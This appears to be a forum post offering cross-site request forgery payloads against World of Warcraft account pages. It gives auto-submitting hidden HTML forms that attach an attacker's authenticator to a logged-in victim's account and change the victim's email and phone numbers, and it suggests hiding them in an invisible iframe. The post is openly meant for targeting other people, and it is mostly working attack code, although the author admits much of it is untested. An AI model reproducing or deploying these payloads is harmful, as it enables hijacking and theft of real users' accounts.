Th person you are targeting must be logged in when they visit a webpage with one of these pieces of html code on it. This could be much sneakier if the code was in a hidden iframe.
I have not been able to test many of these but there is no reason they shouldn't work.
Set an authenticator onto someone's account
HTML Code:
<form id="formSecurityToken" method="post" name="formSecurityToken" action="https://www.worldofwarcraft.com/account/physical-security-token.html">
<input type="hidden" name="tokenID" value="<insert authenticator id here>" />
</form>
<script type="text/javascript">document.getElementById('formSecurityToken').submit();</script>
Change someone's contact information (attempting to change their email will send them a confirmation email to the old address):
HTML Code:
<form id="form1" name="form1" method="post" action="https://www.worldofwarcraft.com/account/change-contact.html">
<input name="newEmail" value="<new email>" type="hidden" />
<input name="newPhoneNumber1" value="<insert daytime phone number>" type="hidden" />
<input name="newPhoneNumber1Ext" value="<insert daytime phone extension>" type="hidden" />
<input name="newPhoneNumber2" value="<insert evening phone number>" type="hidden" />
<input name="newPhoneNumber2Ext" value="<insert evening phone extension>" type="hidden" />
</form>
<script type="text/javascript">document.getElementById('form1').submit();</script>
more to come.